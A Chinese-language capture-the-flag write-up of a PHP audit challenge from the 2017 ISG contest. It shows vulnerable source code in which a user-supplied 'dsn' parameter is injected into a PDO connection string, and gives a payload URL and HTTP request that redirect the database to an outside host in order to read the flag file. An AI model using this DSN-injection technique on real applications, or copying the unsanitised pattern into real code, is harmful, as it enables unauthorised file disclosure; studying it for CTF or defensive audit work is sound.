记观安杯一道PHP审计

2017 ISG“观安杯”管理运维赛一道PHP审计题,任意文件读取

逻辑步骤

  1. 通过robots文件泄漏的信息下载源码
  2. 通过审计PHP源码,发现dsn参数有问题:可以控制其连接端口,从而控制img.php中读取的文件
  3. 根据源码中提供的sql文件创建数据库后使用户头像的值为../server/flag,然后构造payload:http://202.120.7.2x.7242//app.php?action=img&dsn=wmwcms;host=116.196.91.18x
  4. 最后远程链接数据库拿到flag

审计过程

源码的目录结构如下:

前台,主文件app.php,由action可知,可跳转的是login logout img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
try {
session_start();
define('APP_PATH', dirname(dirname(__FILE__)) . '/server/');
error_reporting(0);
include_once APP_PATH . 'sql.php';
include_once APP_PATH . 'func.php';
if (!isset($_GET["action"])) {
errormsg("action is required.");
}
$actions = ["login", "logout", "img"];
if (!in_array($_GET["action"], $actions)) {
errormsg('Hacking attempt');
}
include APP_PATH . $_GET["action"] . ".php";
} catch (Exception $e) {
}

跟踪img.php,此源码文件包含了sql.php, 作为数据库连接,同时,根据判断去取portrait的值,并且最后引用了file_get_contents($portrait)作为输出,通过源码看到的flag文件在server目录下,所以要想办法读取server目录下的flag文件; 默认的数据库表里面的portrait的值为img/user.png,更改他为../server/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include_once 'sql.php';
if(!isset($_SESSION['uid'])) {
$portrait = "img/user.png";
} else {
$uid = intval($_SESSION['uid']);
$sql = "select portrait from user where id = ?";
$sth = $dbh->prepare($sql);
$sth->execute([$uid]);
$user = $sth->fetchAll();
if(count($user) > 0){
$user = $user[0];
$portrait = $user["portrait"];
} else {
$portrait = "img/user.png";
}
}
header("Cache-Control: max-age=1, s-maxage=1, no-cache, must-revalidate");
header("Content-type: image/png;charset=gb2312");
echo file_get_contents($portrait);

回溯sql.php源码文件,关键函数$dsn
$dsn = “mysql:dbname={$dsn}”;
构造dsn的值,最终可以变化为$dsn=”mysql:dbname=wmwcms;host=x.x.x.x”
完美构造PDO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include_once 'func.php';
if (isset($_REQUEST['dsn'])){
$dsn = $_REQUEST['dsn'];
} else{
$dsn = "wmwcms";
}
$dsn = "mysql:dbname={$dsn}";
$username = 'wmwcms';
$password = '%glVYKTkLtQ22';
$options = array(
PDO::MYSQL_ATTR_INIT_COMMAND => 'SET names utf8',
);
$dbh = new PDO($dsn, $username, $password, $options);

构造对应的payload
/app.php?action=img&dsn=wmwcms;host=116.196.91.18x
ps:当然自己远程的mysql数据库的用户名密码是sql.php内写死的口令,按照sql.php内帐号进行创建

1
2
3
4
5
6
7
8
9
10
11
12
GET /app.php?action=img&dsn=wmwcms;host=116.196.91.18x HTTP/1.1
Host: 202.120.7.204:7242
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=g5k5rsm0c5vlbmlg11afv27g64
If-None-Match: "5a9-5574e78e6a3c0-gzip"
If-Modified-Since: Tue, 22 Aug 2017 02:37:11 GMT
Connection: close

官方参考
http://php.net/manual/zh/ref.pdo-mysql.connection.php